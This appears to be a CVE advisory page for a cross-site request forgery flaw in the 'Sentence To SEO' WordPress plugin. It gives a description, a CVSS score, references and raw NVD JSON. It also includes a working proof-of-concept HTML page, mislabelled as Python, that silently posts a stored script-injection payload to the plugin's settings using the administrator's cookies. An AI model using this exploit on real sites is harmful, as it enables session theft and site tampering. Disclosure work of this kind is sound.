CVE-2026-6391

Description

The Sentence To SEO (keywords, description and tags) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the create_admin_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts and update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sentence To SEO <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-6391 CSRF to Stored XSS -->
<!-- Save this as exploit.html and host it. -->
<html>
  <body>
    <h1>CVE-2026-6391 CSRF PoC</h1>
    <p>Attempting to update plugin settings with XSS payload...</p>
    <script>
      function exploit() {
        // Target URL (may vary based on installation)
        var targetUrl = 'http://target-site.com/wp-admin/admin.php?page=sentence-to-seo';
        
        // Prepare form data with XSS payload in description field
        var params = new URLSearchParams();
        params.append('sentence_description', 'Hacked <script>alert(document.cookie)</script>');
        params.append('sentence_keywords', 'malicious');
        params.append('update_settings', 'Save');

        fetch(targetUrl, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body: params,
          credentials: 'include' // Sends cookies with the request
        }).then(response => console.log('Request sent'))
          .catch(error => console.error('Error:', error));
      }

      // Trigger exploit automatically
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6391
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6391
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6391/
[4] VulDB https://vuldb.com/cve/CVE-2026-6391
[5] https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L50
[6] https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L75
[7] https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L81
[8] https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L87
[9] https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L50
[10] https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L75
[11] https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L81
[12] https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L87
[13] https://www.wordfence.com/threat-intel/vulnerabilities/id/add32c06-90d0-466f-b176-aaae55cf03fb?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6391", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:37.347", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sentence To SEO (keywords, description and tags) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the create_admin_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts and update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L87", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/add32c06-90d0-466f-b176-aaae55cf03fb?source=cve", "source": "[email protected]"}]}}